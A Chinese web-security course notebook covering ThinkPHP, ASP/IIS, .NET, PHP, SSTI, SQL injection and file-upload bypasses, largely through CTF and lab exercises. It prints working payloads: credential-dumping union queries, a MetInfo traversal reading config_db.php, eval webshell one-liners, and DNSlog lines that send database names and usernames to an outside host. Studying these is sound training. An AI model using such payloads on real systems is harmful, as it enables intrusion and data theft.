Ajax接收infocode参数判断是否验证成功。可通过burp抓包修改参数绕过登录验证。

3、JS-Ajax传递-购物-参数

演示案例

1、文件上传-类型-过滤

设计:通过JavaScript进行文件后缀筛选验证

2、状态回显-登录-状态码

设计:通过Ajax传递数据进行用户登录验证

3、参数修改-购物一参数修改

设计:通过Ajax传递数据进行购物验证

设计1:商品价格以前端设置价格为准,数据接收价格后运算
通过修改前端传递的价格和数量绕过
设计2:商品价格以数据库对应价格为准,数据接收价格后运算
虽然价格取自数据库,但是判断还是由JS代码判断,修改价格仍可绕过
设计3:商品价格以数据库对应价格为准,数据只接受数量后运算
此时判断之前也会从数据库取价格,但是因为数量是由js传递的,修改数量换成小数或者负数可以实现绕过
设计4:商品价格以数据库对应价格为准,数据只接受数量后做过滤运算

第17天 PHP开发-个人博客项目&TP框架&路由访问&安全写法&历史漏洞

知识点:

1、基于TP框架入门安装搭建使用
2、基于TP框架内置安全写法评估
3、基于TP框架实例源码安全性评估

演示案例

  • 入门-简单了解-安装&调试&入口&配置
  • 使用-路由访问控制器&对象&函数&参数
  • 安全-SQL注入-不安全写法对比官方写法
  • 安全-RCE执行-历史安全漏洞对比框架版本
  • 实例-CMS源码-EyouCMS&Fastadmin&YFCMF

#安全-$QL注入-不安全写法对比官方写法
1、参数过滤
2、内置过滤
#安全-RCE执行-历史安全漏洞对比框架版本
1、框架版本漏洞
2、框架写法安全
3、黑盒白盒看版本
#实例-CMS:源码-EyouCMS&Fastadmin&YFCMF

1
2
3
4
5
6
7
8
9
10
11
12
AdminLTE后台管理系统
1ayui后台管理系统
thinkcmf
H-ui,admin后台管理系统
tpshop
FsatAdmin
eyoucms
LarryCMS后台管理系统
tpadmin,后台管理系统
snake后台管理系统
ThinkSNS
DolphinPHP后台管理系统

https://github.com/Mochazz/ThinkPHP-Vuln thinkphp框架的所有漏洞整合

https://www.cnblogs.com/lingzhisec/p/15728886.html 更全面更新的讲解了thinkphp的各种漏洞

ThinkPHP5.0在没有启用路由的情况下典型的URL访问规侧是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/]
thinkphp接收变量的写法
input(‘?get.id’);
input(‘?post.name’);通过thinkphp内置的写法可以过滤注入语句。(内置过滤)
thinkphp查询数据库语法
Db::table(‘think user’)->where(‘status’,1)->select();(即使数据接收没有过滤,带入数据库查询的时候仍进行过滤,内置过滤)
appplicaton/config.php配置文件中含有app_debug和app_trace两个字段,开启用来调试验证。

1
2
3
4
5
6
7
8
用到TP框架找漏洞
1、看写法
2、看历史漏洞->版本
版本获取知道?
黑盒:
判断是不是tp返回数据包
怎么看版本-报错
经验:URL地址

第18天:WEB攻防-ASP安全&MDB下载植入&IIS短文件名&写权限&解析

这个知识点其实差不多现在也可以直接跳过了,在现在这个时候已经很少有人去使用asp搭建网站了,主流的还得是java、python什么的,甚至php可能都比asp会更多了。

知识点

1、ASP环境搭建组合
2、ASP-数据库下载&植入
3、IIS-短文件&解析&写权限

WEB安全攻防:
1、Weo源码
2、开发语言
3、中间件平台
4、数据库类型
4、第三方插件或软件

演示案例:

ASP-数据库-MDB默认下载

常用组合:windows+ISS+ASP+Access(sqlserver)
原理:access数据库一般后缀名mdb(下载)asp asa(可以被执行)
mdb文件他在网站目录下默认数据库配置(database/powereay2006.mdb)或者通过扫描目录得到
思路:如果我们知道这个数据库的地址,尝试可以下载获取数据库文件,获取当前管理员帐号密码信息

image-20240404165012897

直接就可以在数据库里面去找到自己想要的信息

ASP-数据库-ASP后门植入连接

流程:留言板写入一句话木马–菜刀连接数据库地址
原理:网站开启了asp解析,直接访问数据库文件会返回信息,写入一句话木马后进行连接
1、在留言板写入一句话木马

2、使用shell管理工具连接

ASP-中间件-IIS短文件名探针安全漏洞

原理:Windows系统为了兼容16位MS-DOS程序,为文件名较长的文件和文件夹生成了对应的Windows 8.3短文件名。比如文件名direct~1.asp中间有一个波浪号,这种就是短文件名了。
使用脚本扫描网站目录造成敏感信息泄露(不同于使用字典扫描)
参考连接:https://www.freebuf.com/articles/web/172561.html

ASP-中间件IIS文件上传解析-安全漏洞

流程:发现网站存在上传点–上传asp木马–若存在文件名监测通过修改文件类型绕过检测–shell工具连接
例:1.jpg文件无法解析,修改为1.asp;.jpg即可绕过。或者1.jpg文件放在a.asp文件下也可进行解析
ASP-中间件-IIS配置目录读写-安全配置

IS put写入漏洞

当网站为IIS6.0且开启写入权限、开启web服务拓展WebDAV则存在此漏洞

参考链接:https://blog.csdn.net/song123sh/article/details/123539837

第19天WEB攻防-.NET项目8&DLL反编译&未授权访问&配置调试报错

知识点:

1、,NET配置调试-信息泄露
2、.NET源码反编译-DLL反编译
3、.NET常见安全问题-未授权访问

#判断用户的身份:
由于后台本身有多个功能文件页面
1、在每个文件里面添加判断代码
2、创建一个文件专门用来判断,其他文件包含调用它
#找未授权访问:
1、找那些文件没有包含验证代码文件
2、验证代码文件有没有可以绕过

演示案例:

.NET项目-DLL文件反编译指向-代码特性

工具:ILSpy
将.net相关文件后缀名为.dll的系列文件拖入该软件内即可实现反编译,以读取源码。

.NET项目-Web.config错误调试-信息泄露

/webconfig文件中含有customError Mode 字段,该字段是用来开发过程中显示错误信息,以便于排查原因
当customError mode =“Off”,则会先显示报错信息,造成信息泄露。

在服务器上运行网站,远程访问该网站时候,提示webconfig文件的配置无法显示程序中具体的错误信息,原因是没有将标记的“mode”属性设置为“off”,网上查询标记的详细信息如下:

节点用于定义一些自定义错误信息的信息。此节点有Mode和defaultRedirect两个属性,其中defaultRedirect属性是一个可选属性,表示应用程序发生错误时重定向到的默认URL,如果没有指定该属性则显示一般性错误。Mode属性是一个必选属性,它有三个可能值,它们所代表的意义分别如下:
Mode 说明 On 表示在本地和远程用户都会看到自定义错误信息。 Off 禁用自定义错误信息,本地和远程用户都会看到详细的错误信息。
RemoteOnly 表示本地用户将看到详细错误信息,而远程用户将会看到自定义错误信息。
这里有必要说明一下本地用户和远程用户的概念。当我们访问asp.net应用程时所使用的机器和发布asp.net应用程序所使用的机器为同一台机器时成为本地用户,反之则称之为远程用户。在开发调试阶段为了便于查找错误Mode属性建议设置为Off,而在部署阶段应将Mode属性设置为On或者RemoteOnly,以避免这些详细的错误信息暴露了程序代码细节从而引来黑客的入侵

.NET项目-身份验证未授权访问安全漏洞

流程:在未登录状态通过修改URL访问需登录的地址跳转到登录界面–白盒测试找到验证登录的代码(找到未授权访问文件代码–寻找包含代码–逐一审查–找到登录代码)–发现代码可通过抓包修改cookie信息绕过–造成未授权访问

第20天 WEB攻防-PHP特性&缺陷对比函数&CTF考点&CMS审计实例

#知识点:

1、过滤函致缺陷绕过
2、CTF考点与代码审计

1
2
3
4
5
6
7
8
#详细点:
= =与=== ==弱类型对比 ===强类型对比
md5 在PHP中md5不能用来处理数组,处理结果会返回null 所以存在MD5【1】=null=null
intval intval() 函数用于获取变量的整数值。
strpos strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
in_array in_array() 函数搜索数组中是否存在指定的值。其中第三个参数若不设置为TURE则相当于弱类型判断
preg_match preg_match 函数用于执行一个正则表达式匹配。可通过数组绕过
str_replace str_replace() 函数替换字符串中的一些字符(区分大小写),不可迭代

演示案例1:

ctfshow的题目(这里因为已经刷完题并且写了wp了,所以就不记上来了)

演示案例2:

实践-代码审计-过滤缺陷文件读取

漏洞点在:MetInfo6.0.0/include/thumb.php?dir=
漏洞代码文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有两次过滤,第一次把路径中…/、./进行过滤,第二次路径中需要有http和不能存在./,

1
2
3
4
5
6
7
8
9
10
11
$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

可以使用双写进行绕过

1
2
3
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=…///http…///config\config_db.php

/MetInfo/include/thumb.php?dir=.....///http\.....//\config\config_db.php

经过过滤后变成了 http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=…/http…/config\config_db.php

image-20240404193535385拓展链接:https://blog.csdn.net/m0_63241485/article/details/126580849

开源相册piwigo sql注入漏洞

原理:漏洞的分析看起来比较简单,是由于functions_rate.inc.php文件中的rate_picture函数没有对传入的$rate变量进行过滤,直接拼接到SQL中执行:代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);

return update_rating_score($image_id);
}
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);

return update_rating_score($image_id);
}

判断r a t e 是否是 rate是否是rate是否是conf[‘rate_items’]的项。而后面这个数组的值是配置文件里写死的。

看起来这句的功能是设置了一个rate变量的白名单。只能是0,1,2,3,4,5其中之一。这样子应该很安全才对。当然事实证明这样子写是不安全的。rate=” 5′aaaaaaaaaaaaaaaaa” 时, inarray( rate = “5’aaaaaaaaaaaaaaaaa “时,in_array(rate=”5 ′aaaaaaaaaaaaaaaaa”时,inarray(rate, $conf[‘rate_items’]) 这个判断是返回True的。这是php里不同类型变量比较时候的一个特性。只要rate为array(0,1,2,3,4,5)便可以进行绕过,而in_array第三位未设置为true
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
简言之:当字符串跟整型变量使用”==”比较的时候,会将字符串转换成整型,再进行比较。

第21天 WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制

知识点:

1、JavaWeb常见安全及代码逻辑(通过抓包找到网站页面对应的文件地址以及功能代码)
2、目录遍历&身份验证&逻辑&JWT
3、访问控制&安全组件&越权&三方组件

演示案例:

JavaWeb-WebGoat8靶场搭建使用

搭建:下载jar包–使用java -jar webgoat-server-8.0.0.M26.jar –server.port=9091 开启–浏览器访问127.0.0.1:9091/WebGoat/login.html 即可
详细搭建步骤见:https://blog.csdn.net/weixin_50012220/article/details/119209336 –好像搭建还得需要高点版本的java环境,java8和java11都不太行,而且搭建在虚拟机上好像是不能从本地上去访问到的。

image-20240405104254959

安全问题-目录遍历&身份认证-JWT攻击

1、上传文件时的目录遍历
通过上传回显和目标路径比较发现需要将文件上传到上一级目录–使用burp改包–…/text
双写绕过

#身份认证
键值逻辑:使用键名键值进行对比验证错误
-JWT攻击:

1、签名没验证空加密

2、爆破密匙

3、KID利用
https://www.cnblogs.com/vege/p/14468030.html
此处因为赋值是写死的,而不是带入数据库中查询,所以可以通过修改键名称绕过(s2=null and s3=null 为真)

#访问控制
隐藏属性:前端页面的自慰限制显示
水平越权:同一级别用户权限的查看

安全问题-访问控制&安全组件第三方组件

#安全组件
联想到前几年的Log4j2
#环境下载:
https://github.com/WebGoat/WebGoat

第22天 WEB攻防-JS项目&Node.JSi框架安全8识别审计&验证绕过

知识点:

1、原生JS开发框架-安全条件
2、常见安全问题-前端验证:未授权

#详细点:

1、什么是Js渗透测试?

在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞
JS开发的WEB应用和PHP,JAVA,NET等区别在于即没有源代码,也可以通过浏览器的查看
源代码获取真实的点。所以相当于JS开发的NEB应用属于白盒测试(默认有源码参考)

3、如何判定JS开发应用?

插件wappalyzer
源代码简短
引入多个文件
一股有/static/js/app.js等顺序的j文件
cookie中有connect.sid

4、如何获取更多的JS文件?

JsFinder
Packer-Fuzzer
扫描器后缀替换字典

5、如何快速获取价值代码?

method:“get”
http.get(“
method:“post”

$.ajax

service.httphost

service.httget

演示案例:

安全条件可控变量&特定函数
开发框架-Vulhub-Node.JS安全

搭建vulhub靶场 存在任意文件读取漏洞–可读取服务器用户密码

真实应用-APP应用直接重置密码

期货APP通过修改前端JS验证码绕过验证码认证、未授权访问

真实应用-违法彩彩文件上传安全
1
扩展:CTF比赛中和js相关的主要就是js的原型链污染,以及沙盒逃逸,这两种其实都是差不多的原理,通过非法修改变量的值去达到一些非法的作用。

第23天 WEB攻防-Python考点&CTF与CMS-SSTI模版注入&PYC反编译

https://www.cnblogs.com/bmjoker/p/13653563.html ssti实战

知识点:

1、PYC文件反编译
2、Python-web-ssrr
3、SSr1模版注入利用分析

演示案例:

PY反编译-PYC编译文件反编译源码
SST1入门-原理&分类&检测&分析&利用
SsTi考点-CTF靶场-WestemnCTF日shrine
SST1考点-CMS源码-MACCMS V8.X执行
PY反编译-PYC编译文件反编译源码

#Pyc文件是py文件编译后生成的字节码文件(byte code),Pyc文件经过pythonf解释器

最终会生成机器码运行,因此pyc文件是可以跨平台部署的,类似Java的。c1a3文件,
一股如y文件改变后,都会重新生成中yc文件。
真题附件:http://pan.ba1du.com/s/1jGgB8Ds
反编译平台:
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
反编译工具:https://g1thub.com/w1b1t1/uncompy1e2

#SSTI入门-原理&分类&检测&分析&利用

1、什么是SSTI?有什么漏司危害?

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模
板内容的一部分,模板引擎在进行目标编泽這染的过程中,执行了用户播入的可以破怀模
板的语句,因而可影导数了散感信息泄露、代码执行、GetShe11等问题。其影响范围主
要取决于模版引擎的复杂性。
2、如何判断检测SSTI漏河的存在?
输入的数据会被浏览器利用当前脚本语言调用解析执行
3、SSTI会产生在那些语言开发应用?
-见上图
4、SSTI安全问题在生产环境那里产生?
存在模版引用的地方,如404错误页面展示
存在数据接收引用的地方,如模版解析获取参数数据
https://blog.csdn.net/houyanhua1/article/details/85470175
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
/shrine/
/shrine/
/shrine/
/shrine/
/shrine/
/shrine/

1
2
3
4
5
6
#SSTI考点-CMs源码-MACCMS V8.X执行
Payload:index.php?m=vod-searchswd=(if-dddd:phpinfo()](endif-dddd
1、根据传递的代码找指向文件
2.index->vod->tpl->ifex->eval
3、构适Payload带入ifex并绕过后执行
实战中一般通过白盒审计代码明确变量,黑盒测试中很难发现。
1
2
3
4
扩展:
ssti作为ctf中常出现的题目,有着许多的变化等,也要多去看看。
https://blog.csdn.net/qq_35493457/article/details/119938852 flask ssti
https://www.cnblogs.com/bmjoker/p/13508538.html ssti入门

第24天 WEB攻防-通用漏洞&SQL注入&MYSQL跨库&ACCESS偏移

知识点:

1、脚本代码与数据库前置知识
2、Acce33数据库注入-简易偏移
3、MYSQL数据库注入-简易&权限跨库

#前置知识:

-SQL工注入漏洞产生原理分析
-SQL工注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理
一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL两种思路:
1、非ROOT的注入攻击:常规类的猜解
2、RO0T用户的注入攻击:文件读写操作,跨库查询注入等

MYSQL5.0以上版本:自带的数据库名information schema
information schema:存储数据库下的数据库名及表名,列名信息的表
获取相关数据:
l、数据库版本-看是否符合information schemai查询 version()
2、数据库用户-看是否符合ROOT型注入攻击 user()
3、当前操作系统-看是否支持大小写或文件路径选择 @@version_compile_os()
4、数据库名 为后期查询表名和列名做准备 database()
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取当前数据库下面的表名信息:
UNION SELECT table name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information schema.tables where table schema=‘syguestbook’
获取表名syadminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information_schema.columms where table_name=’sy_adminuser’I
and table schema=‘syguestbook’
获取指定数据:
UNION SELECT username,password,
3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysq1下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information_schema.schmata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information schema.tables where table_schema=‘xhcms’
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information schema.columns where table_name=’manage’and
table schema=’xhcms
获取指定数据:
UNI0 N SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from xhcms

1
2
3
4
5
6
7
8
9
10
演示案例
ASP+Access-简易注入-字典猜解
由于access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会
出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。
ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!
PHP+MYSOL-简易注入-存储特性
使用高权限账户可以对数据库进行读取和写入
PHP+MYSOL-跨库注入-权限属性
使用高权限账户可以实现对mysql其他数据库进行注入

第25天 WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL

知识点:

1、SQL注入-MYSQL数据库
2、SQL注入-MSSQ数据库
3、SQL注入-PostgreSQL数据库

演示案例:

MYSQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL-sa高权限读写执行注入
结尾彩蛋某Q牌违法登陆框注入

#详细点:

Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
读取文件:
UNION SELECT1,load file(‘d:w.txt),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
写入文件:
UNION SELECT 1,‘xxxx’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile ‘d:/www.txt’
-路径获取:phpinfo,报错,字典等
-无法写入:secure_fle_priv突破 需要支特SQL执行环境,没有就需要借助 https://www.cnblogs.com/c1e4r/articles/8902444.html参考文章
phpmyadmin3或能够直接连上对方数据库进行绕过

1
2
3
4
set global slow_query_log=1; 启用日志慢记录
set global slow.query.log_fle=‘shelli路径’; 将操作记录写入到执行路径文件
select’<?php eval($_GET[A])?>'or SLEEP(11); 将后门语句执行写入到慢日志文件
与文件包含中的日志文件包含有所类似

#PostgreSQL-高权限读写注入
测列数:
order by 4
and 1=2 union select null,null,null,null
测显位:第2,3

and1=2 union select’nul’,null,null,null错误
and1=2 union select null,.‘nul’,null,null正常
and 1=2 union select null,null,‘null’,nullE
and1=2 union select null,.null,null,’nul’错误
获取信息:
and 1=2 UNION SELECT null,version(,null,null
and 1=2 UNION SELECT null,current user,null,null
and 1=2 union select null,current database(),null,null
获取数据库名:
and 1=2 union select null,string_agg(datname,),null,null from pg_database

#MSSQL-sa高权限读写执行注入
测列数:
order by 4
and 1=2 union all select null.null.null,null
测显位:
and 1=2 union all select null.1.null.null
and 1=2 union all select null.null,’s’null
获取信息:
@@version获取版本信息
db name(0当前数据库名字
user、system_user,current user,user name获取当前用户名
@@SERVERNAME获取服务器主机信息
and 1=2 union all select null,db_name(),null,null

第27天 WEB攻防-通用漏洞&SQL注入&Tamper脚本&Base64&Json&md5等

知识点:

1、数据表现格式类型注入
2、字符转义绕过-宽字节注入
3、数字&字符&搜索&编码&加应等

#参考资料:

:star:https://www.cnblogs.com/bmjoker/p/9326258.html

演示案例:

本地源码数字&字符&搜索&编码&JSON

数字型 0-9 字符型 a-z中文标点符号加入了单引号(单引号闭合 1‘ and 1=1 –+)
搜索型 在基础上又加入的通配符(%’闭合)
编码型 数据以编码值传递 加密型 数据以加密后的密文去传递(对注入语句进行加解密后代入)
格式型 json (单引号闭合 1‘ and 1=1 –+) (需要按照类型进行闭合或加解密构造符合数据库查询的条件去输入)
数据进行编码接受处理: 发送编码值,对方常会进行解码后带入数据在进行SQL执行
在注入的时候,我们也要尝试对注入的Payloadi进行编码后提交
#sqlmap在使用时可以判断出注入点类型是否为数字型、搜索型或者字符型,但是对编码型的注入无法自动判断,所以需要引用tamper脚本进行编码 例如对参数进行base64编码的网站进行sql注入测试的时候可以使用 –tamper=enbase64.py进行加密

墨者靶场字符转义处理防护-宽字节注入

网站会对传入的参数进行部分转译,比如:http://localhost:8081/blog/news.php?gtpl=simple’order
by 17–+ 转译为selectfrom sy_guestbook where gTpl=‘simple’ order by17–+ 致使查询失败
在构造闭合前输入 %df 会使查询变为selectfrom sy_guestbook where gTpl=‘simple♦’ order by 17–+ (方块在此处为2个字节会覆盖此处的\从而实现绕过)
在PHP中存在魔术引号开关magic_quotes_gpc,开启后会对传入参数中的 单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线
所以在面对宽字节注入是可以使用sqlmap中的–tamper=unmagciquotes.py脚本进行绕过

真实WEB-数据编码接受处理-base64注入

#sqlmap在使用时可以判断出注入点类型是否为数字型、搜索型或者字符型,但是对编码型的注入无法自动判断,所以需要引用tamper脚本进行编码 例如对参数进行base64编码的网站进行sql注入测试的时候可以使用 –tamper=enbase64.py进行加密

真实WEB-JSON数据格式&MD5加密数据
工具脚本-SQLMAP-脚本Tamper使用指南 ————可以去看看ctfshow的ctf题目,有一小段专题就是讲这个的

https://www.cnblogs.com/bmjoker/p/9326258.html 很好的一篇文章,可以熟练掌握sqlmap的使用。

第28天 WEB攻防-通用漏洞&SQL注入&HTTP头XFF&COOKIE&POST清求

知识点:
1、数据请求方式-GET&POST&COOKIE等
2、常见功能点请求方式-用户登录&1P记录等
3、黑盒白盒注入测试要点-SQLMAP注入参数

补充点:
黑盒测试:功能点分析
白盒测试:功能点分析&关键代码追踪

1.数据库注入-access mysql mssql oracle mongodb postgresq等
2.数培类型注入-数字型字符型搜索型加密型(base64js0n)等
3.提交方式注入-get post cookie http头等
4查询方式注入-查询增加删测除更新堆叠等
5.复杂注入利用-二次注入dnslog注入绕过bypass等

演示案例:
GET&POST&COOKIE&SERVER
实例黑盒-后台表单登陆框-POST注入
实例白盒-ESPCMS-商品购买-COOKIE注入
实例白盒-ZZCMS-IP记录功能-HTTP头XFF注入 https://blog.csdn.net/qq_48511129/article/details/122692991
此处登录失败会从全局变量获取客户端ip–当密码失败次数过多禁止登录–通过抓包修改x-for-word字段绕过

#部分语言接受代码块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#部分语言接受代码块
<?php
header("Content-Type:text/html;charset=utf-8");
Sget=$_GET['g'];
Spost=$_POST['p]:I
Scookie=$_COOKIE['c'];
Srequest=&_ REQUESTT'r]:
Shost=S SERVER['HTTP HOST];
Suser agent=$SERVER["HTTP USER AGENT].
Sip=$SERVER[HTTP X FORWARDED FOR"]:
echo $get."<hr>"
echo $post."<hr>":
echo $cookie."<hr>"
echo $request."<hr>":
echo $host."<hr>";
echo $user agent."<hr>";
echo $ip;
?>

第29天 WEB攻防-通用漏洞&SQL注入&增删改查&盲注&延时&布尔&报错

知识点:

1、明确查间方式注入Payload
2、明确查询方式注入产生功能

3、明确SQL言注延时&布尔&报错

#详细点:

盲注就是在注入过程中,获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
我们可以知道盲注分为以下三类:
基于布尔的SQL直注逻辑判断
regexp,like,ascii,left,ord.mid
基于时间的SQL盲注延时判断
if,sleep
基于报错的SQL盲注报措回显
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c

#参考:
like ‘ro% #判断0或0.是否成立
regexp “xiaod[a-Z]’ #匹配xiaodi及xiaodi.等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #SQL语句延时执行5秒
mid(a.b.c) #从位置b开始,载取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database0,1),database0 #let(a,b)从左侧截取a的前b位
length(database0)=8 #判折数据库database(O名的长度
ord=ascii ascii(X)=97 #判新x的asciit码是否等于97

SQL查询方式汪入
select insert update delete orderby等

演示案例:

SQL-盲注&布尔&报错&延时
查-select-xhcms-布尔盲注 https://www.freebuf.com/articles/web/264357.html ——–xhcms的各种漏洞

插入-insert-xhcms-报错盲注
更新-update-xhcms-=报错盲注
删除-delete-kkcms-延时盲注

1
2
3
4
5
6
#SQL-盲注&布尔&报措&延时 PHP开发项目输出结果&开启报措
基于延时: /blog/news.php?id=1 and if(1=1,sleep(5),0) 不需要输出
通过if后面的判断语句去猜解信息,比如if(length(database())=1,sleep(5),0)判断数据库长度是否为1,若猜解正确则返回时间延时5秒
基于布尔: /blog/news.php?id=1 and length(database()=7 需要有数据库输出判断标注
基于报错:/blog/news.php?id=2 and updatexml(1,concat(Ox7e,(SELECT@@version),0x7e).1)
需要有数据库输出报错处理=
1
到这里sql注入终于也是结束了,sql注入也是CTF中的很大一考点,基本上每场比赛都有sql的身影。

第30天 WEB攻防-通用漏洞&SQL注入&CTF&二次&堆叠&DNS带外

知识点:

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库Dnslog注入

解决不回显(反向连接),SQL注入,命令执行,SSRF等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

1600691018_5f689b4a264c5e1261c28.png!small

堆叠注入:判断注入后直接调多条执行
DNS注入:在注入上没太大利用价值,其他还行 https://blog.csdn.net/qq_45300786/article/details/107764907 一种很新的思路,dns外带的

演示案例:

二次注入-74CMS&网鼎杯2018 Unfinish

堆叠注入-数据库类型&强网杯2019随便注
DNS利用-平台介绍&SQL注入&命令执行等

#二次注入-74CMS&网鼎杯2018 Unfinish

CTF-I网鼎杯2018 Unfinish
CMS-74CMS个人会员中心

#堆叠注入数据库类型&强网杯2019随便注

根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MYSQL MSSQL Postgresql等
‘;show databases;
‘;show tables;
‘;show columns from`1919810931114514:
‘;select flag from ‘1919810931114514’:
‘;SeT
@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460:p
repare execsql from @a;execute execsql;

#DNS利用-平台介绍&SQL注入&命令执行等

1.平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceve.io
2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load file(concat(“‘,(select database(),.7logee.dnslog.cnllaa’));
and (select load_file(concat(//,(select database()),‘.69knl9.dnslog.cn/abc’)))
命令执行:
ping %USERNAME%.7logee.dnslog.cn

第31天 WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性

知识点:

1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传user.in妙用
4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竟争等

#本章课程内容:

1、文件上传-CTF赛题知识点
2、文件上传中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

演示案例:

CTFSHOW文件上传-151到161关卡
151关 前端过滤–直接修改前端允许上传的类型绕过
152关 前后端同时过滤–修改前端代码允许php文件上传–burp抓包修改content-type为image/png绕过
153关 前后端过滤同时严格过滤参数–上传.user.ini配置文件并将内容写为auto_prepend_file=test.txt–上传写有webshell的文件(可以为text也可以为png)–访问index.php即可反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
补充知识:

配置文件 :php.ini
配置文件(php.ini)在 PHP 启动时被读取。对于服务器模块版本的 PHP,仅在 web 服务器启动时读取一次。对于 CGI 和
CLI 版本,每次调用都会读取。(PHP: 配置文件 - Manual)
实际上,除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这里就很清楚了,.user.ini实际上就是一个可以由用户”自定义“的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR
、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file ; 指定一个文件,自动包含在要执行的文件前。
auto_prepend_file ;指定一个文件,自动包含在要执行的文件后。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.txt
或者
auto_append_file=test.txt

154155关-JS验证+User.ini+短标签

1
2
3
4
<?echo '123' ?> //前提是开启配置参数short open tags=on <=(表达式)?>
//不需要开启参数设置 <%echo ‘123’;%> / /前提是开启配置参数asp tags=on

//不需要修改参数开关 user.ini:auto_prepend_file=test.png test.png:<?=eval($_POST[x]);?> 思路:先尝试图片文件(发现验证不通过)--修改前端代码(存在后端验证)--burp修改文件类型--仍提示文件类型错误(尝试上传user.ini文件)--对png文件中的代码进行过滤(会检查文件中<? php ?>)中的php字段--使用不含php字段的代码(比如 :<?=eval($_POST[x]);?>)

156关 JS验证+user.ini+短标签+过滤

1
2
3
过滤 []
user.ini:auto_prepend_file=test.png
test png:<?=eval($_POST{x}),?>

157-158-159JS验证+user ini+短标签+过滤

1
2
3
4
user.ini: auto_prepend_file=test.png
test.png:<?=system('tac../fl*')?>
test.png:<?='tac../fl*')?> //使用反引号运算符的效果与函数shell exec(相同 )
test.png:<echo 'tac /var/www/htmlf*?>

160-JS验证+User.ini-短标签+过德

1
2
3
4
再过滤严格的情况下,可以采用通过burp将后门代码写入UA头中,然后写入.user.ini配置文件,将日志文件通过文件包含访问,那么在访问png文件时就是访问日志文件,就会显示后门代码从而达到调用的目的
包含默认日志,日志记录UA头,UA头写后门代码
user.ini:auto_prepend_file-test.png
